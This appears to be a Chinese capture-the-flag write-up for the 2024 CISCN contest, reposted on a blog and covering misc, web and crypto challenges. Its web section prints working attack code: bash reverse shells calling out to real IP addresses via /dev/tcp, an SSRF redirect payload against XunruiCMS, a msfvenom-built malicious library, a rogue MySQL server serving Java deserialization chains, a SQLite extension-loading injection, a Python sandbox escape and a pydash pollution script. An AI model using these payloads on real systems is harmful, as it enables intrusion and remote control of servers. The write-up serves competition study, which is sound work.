2024 ciscn WP - 渗透测试中心
2024-10-4 22:56:0 Author: www.cnblogs.com(查看原文) 阅读量:10 收藏

打开data.csv,可以看到功耗数据,根据https://zhuanlan.zhihu.com/p/157585244,我认为该题的关键是在于找到与其它字符不同的字符,就是该index的正确密码。

从 npz 文件中提取到四个文件的值,output 为空,其他 3 个文件提取的数组长度都是 520,根据   index 每 40 个可得出一个明文,大致判断共有 13 个明文。

在ppt/embeddings文件夹下的docx中,从PPT打开的话就是第二章左上角那块黑色的,双击就行,打开后全选,改字体大小,改颜色,凯撒偏移量10解密,然后base64解密,得到part2

在vbaProject.bin中,这个真的找了好久,后来也是网上搜得到说ppt隐写可能跟宏和宏脚本有关系,叫VBA工程解密。先010打开vbaProject.bin,找DPB字节,把最后一位改成x,然后保存,之后改后缀为.zip,直接打开会发现其中内涵的文件,打开VBA文件夹下的模块一

发现一段密文,不知道是啥但是提示是base64之后的,那就先解密呗,然后得到乱码,一般这种特殊字符多的不是RC4就是rot,最后发现是无密码RC4解密,然后再解一层base64

1.Simple_php

题目描述:小明在学习CTF的过程中遇到了一道PHP的题目,以他有限的水平做不出来,可以帮帮他吗?

直接给了源码

image-20240518112723996

paste或者rev可以读文件

发现一个异常情况,具有mysql用户,或许可以从这里入手

image-20240518112905906

看出mysql服务开启

cmd=mysql --version

image-20240518115837118

ps -aux命令执行结果可以确认靶机有mysql服务

同时根目录下没有flag

BURP发包

cmd=l%0as /

image-20240518113950815

为了命令执行不受限,反弹shell。这里有一个小细节就是弹shell前的不可见字符是为了hex2bin函数能够成功执行。因为ban了引号,变量类型自动判断,如果十六进制开头是数字那么我设置的变量$a会被判断为数字,从而报错无法执行。

cmd=php -r $a=ff3b62617368202d63202262617368202d69203e26202f6465762f7463702f3132302e34362e34312e3137332f3930323320303e2631223b;system(hex2bin($a));

image-20240518134618734

mysql -uroot -proot -e "show databases;"

mysql -uroot -proot -e "use PHP_CMS;show tables;"

mysql -uroot -proot -e "use PHP_CMS;SELECT * FROM F1ag_Se3Re7;"

image-20240518134518410

2.easycms

题目描述:简单的cms,可以扫扫看?

hint:

提示1: /flag.php: 

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){

   echo "Just input 'cmd' From 127.0.0.1";

   return;

}else{

   system($_GET['cmd']);

}

提示2:github找一下源码?

敏感目录:

/flag.php

/install.php

/Readme.txt

/Readme.txt是乱码,在线恢复一下

image-20240518134956796

迅睿CMS官方下载地址:https://www.xunruicms.com/down/

#### 安装路径

将网站运行目录(主目录)设置为:public(如果没有就忽略设置�?

安装环境监测�?/test.php

程序安装地址�?/install.php

后台登录地址�?/admin****.php�?****是随机的�?

重置后台地址:https://www.xunruicms.com/doc/1097.html

首次使用方法:https://www.xunruicms.com/doc/631.html

#### 运行环境

Laravel内核:PHP8.0及以�?

ThinkPHP内核:PHP7.4及以�?

CodeIgniter内核:PHP7.4及以�?

CodeIgniter72内核:PHP7.2及以�?

MySQL数据库:MySQL5及以上,推荐5.7及以�?

#### 内核切换方法

https://www.xunruicms.com/doc/1246.html

无法重新安装

image-20240518140745852

hint的源码告诉我们flag.php存在ssrf,可以直接getshell。源码在github上。GitHub - dayrui/xunruicms: 迅睿CMS框架由PHP+MySQL+Codeigniter架构,基于MIT开源协议发布,免费且不限制商业使用,允许开发者自由修改前后台界面中的版权信息。

信息搜集,存在一个已知的ssrf迅睿CMS漏洞公示,四川迅睿云软件开发有限公司厂商的漏洞列表 (xunruicms.com)

image-20240518201503234

定位到源码路径xunruicms-master\dayrui\Fcms\Control\Api\Api.php的qrcode函数

thumb参数可控

image-20240519182749703

定位xunruicms-master\dayrui\Fcms\Core\Helper.php

dr_catcher_data函数存在SSRF

image-20240519182910561

302.php,拿不到回显所以只能反弹shell

<?php

    //header("HTTP/1.1 302 found"); 

    //header("Location:http://127.0.0.1:1337/flag");

    //header("Location:file:///etc/passwd");

    header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F120.46.41.173%2F9023%200%3E%261%22");

    exit();

?>

payload:

/index.php?s=api&c=api&m=qrcode&text=111&size=111&level=1&thumb=http://120.46.41.173/Jay17/302.php

image-20240518164531870

3.easycms_revenge

和上题一样,改一下302.php的内容

GIF89a

<html>

<?php

header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F124.222.136.33%2F1337%200%3E%261%22");?>

</html>

这里注意细节,靶机发了两次请求,第一次我们就返回一个正常的图片,第二次请求就发一个302,php代码块要用html标签包裹

4.ezjava

/app/BOOT-INF/lib下删了jackson,不然就能直接打POJONode

依赖里有AspectJWeaver,打任意文件写入

https://blog.csdn.net/uuzeray/article/details/136595841

后续还可以配合sqlite加载恶意so文件

https://github.com/Y4tacker/JavaSec/blob/main/9.JDBC%20Attack/SQLite/index.md

然后AJ链子的入口要调用map.put

自定义类UserBean#readObject就可以配合利用

 最终思路就是先mysql打入恶意反序列化数据写入so文件,再sqlite加载恶意so文件

生成恶意so文件

msfvenom -p linux/x64/exec CMD='echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjEi|base64 -d|bash' -f elf-so -o evil.so

 将生成的恶意序列化数据写入output.ser

package com.example.jdbctest.exp;

import com.example.jdbctest.bean.UserBean;

import java.io.ByteArrayOutputStream;

import java.io.FileOutputStream;

import java.io.ObjectOutputStream;

import java.lang.reflect.Constructor;

import java.nio.file.Files;

import java.nio.file.Path;

import java.nio.file.Paths;

import java.util.Base64;

public class EXP {

    // 获取指定类的第一个构造函数,并设置为可访问

    public static Constructor<?> getCtor(final String name) throws Exception {

        final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];

        ctor.setAccessible(true);

        return ctor;

    }

    // 创建一个UserBean对象,将evil.so的内容Base64编码后存入UserBean中

    public static Object getObject() throws Exception {

        String filename = "../../../../../../../../../../../../tmp/evil.so"; // 路径指向/tmp/evil.so

        Path filePath = Paths.get("C:\\Users\\21135\\Desktop\\ciscnjava\\src\\main\\java\\com\\example\\jdbctest\\exp\\evil.so"); // 假设evil.so位于当前目录

        byte[] fileBytes = Files.readAllBytes(filePath); // 读取文件字节

        String content = Base64.getEncoder().encodeToString(fileBytes); // 将文件内容Base64编码

        UserBean bean = new UserBean(filename, content); // 创建UserBean实例

        Constructor<?> ctor = getCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");

        Object simpleCache = ctor.newInstance(".", 12); // 实例化一个SimpleCache对象

        bean.setObj(simpleCache); // 将SimpleCache对象设置为UserBean的obj属性

        return bean;

    }

    // 序列化一个对象到字节数组

    public static byte[] serialize(Object object) throws Exception {

        ByteArrayOutputStream baos = new ByteArrayOutputStream();

        ObjectOutputStream oos = new ObjectOutputStream(baos);

        oos.writeObject(object);

        oos.close();

        return baos.toByteArray();

    }

    // 主函数,序列化对象并将其写入文件

    public static void main(String[] args) throws Exception {

        byte[] serialized = serialize(getObject()); // 序列化对象

        String fileName = "output.ser"; // 输出文件名

        // 使用FileOutputStream将字节数据写入文件

        FileOutputStream fos = new FileOutputStream(fileName);

        fos.write(serialized);

        fos.close(); // 关闭文件输出流

    }

}

起一个恶意mysql服务,回包为恶意序列化数据

import socket

import binascii

import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"

response_ok_data="0700000200000002000000"

def receive_data(conn):

    data = conn.recv(1024)

    print("[*] Receiveing the package : {}".format(data))

    return str(data).lower()

def send_data(conn,data):

    print("[*] Sending the package : {}".format(data))

    conn.send(binascii.a2b_hex(data))

def get_payload_content():

    file= r'output.ser'

    if os.path.isfile(file):

        with open(file, 'rb') as f:

            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')

        print("open successs")

    else:

        print("open false")

        #calc

        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'

    return payload_content

# 主要逻辑

def run():

    while 1:

        conn, addr = sk.accept()

        print("Connection come from {}:{}".format(addr[0],addr[1]))

        # 1.先发送第一个 问候报文

        send_data(conn,greeting_data)

        while True:

            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok

            receive_data(conn)

            send_data(conn,response_ok_data)

            #其他过程

            data=receive_data(conn)

            #查询一些配置信息,其中会发送自己的 版本号

            if "session.auto_increment_increment" in data:

                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'

                send_data(conn,_payload)

                data=receive_data(conn)

            elif "show warnings" in data:

                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'

                send_data(conn, _payload)

                data = receive_data(conn)

            if "set names" in data:

                send_data(conn, response_ok_data)

                data = receive_data(conn)

            if "set character_set_results" in data:

                send_data(conn, response_ok_data)

                data = receive_data(conn)

            if "show session status" in data:

                mysql_data = '0100000102'

                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'

                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'

                # 为什么我加了EOF Packet 就无法正常运行呢??

                # //获取payload

                payload_content=get_payload_content()

                # //计算payload长度

                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)

                payload_length_hex = payload_length[2:4] + payload_length[0:2]

                # //计算数据包长度

                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)

                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]

                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex

                mysql_data += str(payload_content)

                mysql_data += '07000005fe000022000100'

                send_data(conn, mysql_data)

                data = receive_data(conn)

            if "show warnings" in data:

                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'

                send_data(conn, payload)

            break

 先利用mysql打AJ链子,写入恶意so文件

{

"type":"1",

"url":"jdbc:mysql://124.222.136.33:3309/a?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"

 }

再打sqlite,指定tableName,加载写入的恶意so文件,反弹shell

{

"type":"3",

"tableName":"(select (load_extension(\"/tmp/evil.so\")));",

 "url":"jdbc:sqlite:file:/tmp/db?enable_load_extension=true"

 }

 

根目录下拿到flag

5.mossfern

考的python栈帧沙箱逃逸,获取到外部的栈帧,就可以用f_globals去获取沙箱外的全局变量

https://xz.aliyun.com/t/13635

https://zer0peach.github.io/2024/04/29/python%E6%A0%88%E5%B8%A7%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/

最后注意要将获取的变量元组转字符串,再用逗号分隔,依次输出,从而绕过seed

def getflag():

    def f():

        yield g.gi_frame.f_back

    g = f()

    frame=[x for x in g][0]

    gattr = frame.f_back.f_back.f_back.f_locals['_'+'_builtins_'+'_']

    code = frame.f_back.f_back.f_back.f_code

    dir = gattr.dir

    str = gattr.str

    print(dir(code))

    for i in str(code.co_consts):

        print(i,end=",")

getflag()


6.sanic

sanic 是一个类似flask的web框架

扫目录

访问./src

from sanic import Sanic

from sanic.response import text, html

from sanic_session import Session

import pydash

# pydash==5.1.2

class Pollute:

    def __init__(self):

        pass

app = Sanic(__name__)

app.static("/static/", "./static/")

Session(app)

@app.route('/', methods=['GET', 'POST'])

async def index(request):

    return html(open('static/index.html').read())

@app.route("/login")

async def login(request):

    user = request.cookies.get("user")

    if user.lower() == 'adm;n':

        request.ctx.session['admin'] = True

        return text("login success")

    return text("login fail")

@app.route("/src")

async def src(request):

    return text(open(__file__).read())

@app.route("/admin", methods=['GET', 'POST'])

async def admin(request):

    if request.ctx.session.get('admin') == True:

        key = request.json['key']

        value = request.json['value']

        if key and value and type(key) is str and '_.' not in key:

            pollute = Pollute()

            pydash.set_(pollute, key, value)

            return text("success")

        else:

            return text("forbidden")

    return text("forbidden")

if __name__ == '__main__':

    app.run(host='0.0.0.0')

 sanic可以通过用八进制adm\073n绕过cookie

COOKIE_NAME_RESERVED_CHARS = re.compile(

    '[\x00-\x1F\x7F-\xFF()<>@,;:\\\\"/[\\]?={} \x09]'

)

OCTAL_PATTERN = re.compile(r"\\[0-3][0-7][0-7]")

QUOTE_PATTERN = re.compile(r"[\\].")

 在绕过admin后可以打pydash原型链污染,waf掉了_.

 pydash有这样一段处理

def to_path_tokens(value):

    """Parse `value` into :class:`PathToken` objects."""

    if pyd.is_string(value) and ("." in value or "[" in value):

        # Since we can't tell whether a bare number is supposed to be dict key or a list index, we

        # support a special syntax where any string-integer surrounded by brackets is treated as a

        # list index and converted to an integer.

        keys = [

            PathToken(int(key[1:-1]), default_factory=list)

            if RE_PATH_LIST_INDEX.match(key)

            else PathToken(unescape_path_key(key), default_factory=dict)

            for key in filter(None, RE_PATH_KEY_DELIM.split(value))

        ]

    elif pyd.is_string(value) or pyd.is_number(value):

        keys = [PathToken(value, default_factory=dict)]

    elif value is UNSET:

        keys = []

    else:

        keys = value

    return keys

def unescape_path_key(key):

    """Unescape path key."""

    key = key.replace(r"\\", "\\")

    key = key.replace(r"\.", r".")

    return key

这段代码主要包含了两个函数,to_path_tokens 和 unescape_path_key,用于解析和处理数据结构路径的表达式。这些函数可能是用于操作如 JSON 或嵌套字典这样的复杂数据结构。下面是对这两个函数的总结:

1. to_path_tokens 函数

目的:将输入的 value 转换为 PathToken 对象的列表,这些对象表示数据结构中的路径点。

处理逻辑:

对字符串形式的路径进行分解,处理点(.)和方括号([)来区分不同的路径段。

根据路径段的内容,区分处理为列表索引或字典键。

对特定字符串进行类型转换(如字符串形式的数字转为整数索引)。

使用正则表达式帮助分割和识别路径中的关键部分。

2. unescape_path_key 函数

目的:处理路径键中的转义字符,将转义序列转换为对应的实际字符。

实现细节:

替换路径键中的双反斜杠 (\\) 为单反斜杠 (\)。

替换路径键中的转义点 (\.) 为点 (.)。

给出脚本:

import requests

url = 'http://a053bd54-eb02-452c-af3f-299070f3fd84.challenge.ctf.show'

s = requests.Session()

s.cookies.update({

    'user': '"adm\\073n"'

})

s.get(url + '/login')

# 开启目录浏览

# data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\.static.handler.keywords.directory_handler.directory_view", "value": True}

# 污染目录路径

# data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\.static.handler.keywords.directory_handler.directory._parts", "value": ['/']}

# r = s.post(url + '/admin', json=data)

# print(r.text)

# 获取flag路径

# r = s.get(url + '/static/')

# print(r.text)

#污染__file__,读取flag

# data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.__file__", "value": "/24bcbd0192e591d6ded1_flag"}

# r = s.post(url + '/admin', json=data)

# print(r.text)

# print(s.get(url + '/src').text)

三、Crypto

1、OvO

题目描述

from Crypto.Util.number import *

from secret import flag

nbits = 512

p = getPrime(nbits)

q = getPrime(nbits)

n = p * q

phi = (p-1) * (q-1)

while True:

    kk = getPrime(128)

    rr = kk + 2

    e = 65537 + kk * p + rr * ((p+1) * (q+1)) + 1

    if gcd(e, phi) == 1:

        break

m = bytes_to_long(flag)

c = pow(m, e, n)

e = e >> 200 << 200

print(f'n = {n}')

print(f'e = {e}')

print(f'c = {c}')

"""

n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967

e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104

c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823

"""

给的 e 其实就是 d,只是结果是移位后的输出,n 很大无法分解,但 kk 与 rr 很小,由 rr= e//n 即可推出 rr 和 kk,又由 e + x + kk*p + rr*((p+1)* (q+1))+ 1 = 65537,将 × 设为 0 和 2^200 然后联立求解一元二次方程,就能求出 p, q 的上下界,这样就有p 和q 的高位,枚举未知位尝试coppersmith 直到分解出结果,最后代入求 e 和 d,进而求得flag。

cop 攻击,exp:

# SageMath script to factor n and decrypt the message

n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967

e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104

c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823

def partial_p(p0, n, bits):

    PR.<x> = PolynomialRing(Zmod(n))

    f = p0 + x

    f = f.monic()

    roots = f.small_roots(X=2^(bits+5), beta=0.3)

    if roots:

        x0 = roots[0]

        p = gcd(p0 + x0, n)

        return ZZ(p)

def find_p(eh, n, bits):

    RR = RealField(1000)

    PR.<x> = PolynomialRing(RR)

    f = (kk+rr)*x**2 + (rr*(n+1)+65538)*x + rr*n - eh*x

    results = f.roots()

    if results:

        for x in results:

            p_high = int(x[0]) >> 4 << 4

            p = partial_p(p_high, n, bits)

            if p and p != 1:

                return p

# Calculating rr and kk based on given e and n

rr = e // n

kk = rr - 2

# Finding p

p = find_p(e, n, 200)

if p:

    q = n // p

    phi_n = (p - 1) * (q - 1)

    # Computing the new e based on kk and rr

    new_e = 65537 + kk * p + rr * ((p + 1) * (q + 1)) + 1

    # Computing the private key d

    d = inverse_mod(new_e, phi_n)

    # Decrypting the ciphertext

    m = power_mod(c, d, n)

    print(bytes.fromhex(hex(m)[2:]))

else:

print("Failed to find p.")

拿到 flag{b5f771c6-18df-49a9-9d6d-ee7804f5416c}

2、古典密码

密文:AnU7NnR4NassOGp3BDJgAGonMaJayTwrBqZ3ODMoMWxgMnFdNqtdMTM9

三层解密:埃特巴什+base64+栅栏

拿到 flag{b2bb0873-8cae-4977-a6de-0e298f0744c3}

3.ez_rsa

题目描述:

ezrsa.py:

from Crypto.Util.number import *

from Crypto.PublicKey import RSA

import random

from secret import flag

m = bytes_to_long(flag)

key = RSA.generate(1000)

passphrase = str(random.randint(0,999999)).zfill(6).encode()

output = key.export_key(passphrase=passphrase).split(b'\n')

for i in range(7, 15):

    output[i] = b'*' * 64

with open("priv.pem", 'wb') as f:

    for line in output:

        f.write(line + b'\n')

with open("enc.txt", 'w') as f:

    f.write(str(key._encrypt(m)))

enc.txt:

55149764057291700808946379593274733093556529902852874590948688362865310469901900909075397929997623185589518643636792828743516623112272635512151466304164301360740002369759704802706396320622342771513106879732891498365431042081036698760861996177532930798842690295051476263556258192509634233232717503575429327989

priv.pem:

-----BEGIN RSA PRIVATE KEY-----

Proc-Type: 4,ENCRYPTED

DEK-Info: DES-EDE3-CBC,435BF84C562FE793

9phAgeyjnJYZ6lgLYflgduBQjdX+V/Ph/fO8QB2ZubhBVOFJMHbwHbtgBaN3eGlh

WiEFEdQWoOFvpip0whr4r7aGOhavWhIfRjiqfQVcKZx4/f02W4pcWVYo9/p3otdD

ig+kofIR9Ky8o9vQk7H1eESNMdq3PPmvd7KTE98ZPqtIIrjbSsJ9XRL+gr5a91gH

****************************************************************

****************************************************************

****************************************************************

****************************************************************

****************************************************************

****************************************************************

****************************************************************

****************************************************************

hQds7ZdA9yv+yKUYv2e4de8RxX356wYq7r8paBHPXisOkGIVEBYNviMSIbgelkSI

jLQka+ZmC2YOgY/DgGJ82JmFG8mmYCcSooGL4ytVUY9dZa1khfhceg==

-----END RSA PRIVATE KEY-----

题目分析:

第一部分先略过吧,不想看

直接跳到后面阶段

得到的数据有:

n = 0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81

e = 0x10001

inv = 0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116d

dqlow = 0x8f2363b340e5

4.checkin

题目描述:

from Crypto.Util.number import *

from secret import flag

p = getPrime(512)

q = getPrime(512)

n = p*q

x = 2021*p+1120*q

h = (inverse(x,n)+x)%n

e = 65537

c = pow(bytes_to_long(flag), e, n)

print('n =', n)

print('c =', c)

print('h =', h)

print('p0 =', p >> 490)

# n = 124592923216765837982528839202733339713655242872717311800329884147642320435241014134533341888832955643881019336863843062120984698416851559736918389766033534214383285754683751490292848191235308958825702189602212123282858416891155764271492033289942894367802529296453904254165606918649570613530838932164490341793

# c = 119279592136391518960778700178474826421062018379899342254406783670889432182616590099071219538938202395671695005539485982613862823970622126945808954842683496637377151180225469409261800869161467402364879561554585345399947589618235872378329510108345004513054262809629917083343715270605155751457391599728436117833

# h = 115812446451372389307840774747986196103012628652193338630796109042038320397499948364970459686079508388755154855414919871257982157430015224489195284512204803276307238226421244647463550637321174259849701618681565567468929295822889537962306471780258801529979716298619553323655541002084406217484482271693997457806

# p0 = 4055618

题目分析:

已知:

现在的重点是small_roots()里面的参数要怎么设置
先来点前置知识(怕自己又忘了):

在方程F(x),模数N确认的情况下,我们可以通过增加 β \betaβ 的取值或减小 ϵ \epsilonϵ 的取值,使得X取到更优的上界。

现在,已知d = 2,beta = 1,X有500位未知,我们取epsilon = 0.01是完成能够得到结果的,但我们也知道epsilon越小,耗时越长,我们试着把epsilon调大一点,让epsilon = 0.02,看看能否出结果。经过测试也是能出结果的,那么就用它啦

把x_diff求出来了,后面就简单了,这也就不多说了

from Crypto.Util.number import long_to_bytes

N = 124592923216765837982528839202733339713655242872717311800329884147642320435241014134533341888832955643881019336863843062120984698416851559736918389766033534214383285754683751490292848191235308958825702189602212123282858416891155764271492033289942894367802529296453904254165606918649570613530838932164490341793

c = 119279592136391518960778700178474826421062018379899342254406783670889432182616590099071219538938202395671695005539485982613862823970622126945808954842683496637377151180225469409261800869161467402364879561554585345399947589618235872378329510108345004513054262809629917083343715270605155751457391599728436117833

h = 115812446451372389307840774747986196103012628652193338630796109042038320397499948364970459686079508388755154855414919871257982157430015224489195284512204803276307238226421244647463550637321174259849701618681565567468929295822889537962306471780258801529979716298619553323655541002084406217484482271693997457806

p0 = 4055618

p_high = p0 << 490

x0 = 2021 * p_high + 1120 * (N // p_high)

P.<x_diff> = PolynomialRing(Zmod(N))

f = (x0 + x_diff)^2 + 1 - h * (x0 + x_diff)

res = f.small_roots(X = 2^500, epsilon = 0.02)

x_diff = Integer(res[0])

x = x0 + x_diff

p = var('p')

q = var('q')

res = solve([x == 2021 * p + 1120 * q, N == p * q], p, q)

print(res)

p = Integer(res[0][0].rhs()) # 提取等号右边部分

q = Integer(res[0][1].rhs())

d = inverse_mod(65537, (p - 1) * (q - 1))

print(long_to_bytes(int(pow(c,d,N))))

进入主题
国赛ez_rsa
题目描述:
(就截取这么一点点了)

n = 0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81

e = 65537

inv = 0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116d

dqlow = 0x8f2363b340e5

题目分析:

方式1

解方程的过程和上题的思路应该来说是一样的
这里也是d = 2,beta = 1,所以关键部分还是落在了epsilon 的取值上,这个就自己去生成数据测一测,从0.05往上加,发现到0.09以后解集为空,那么设置成0.09就行

from Crypto.Util.number import *

from tqdm import *

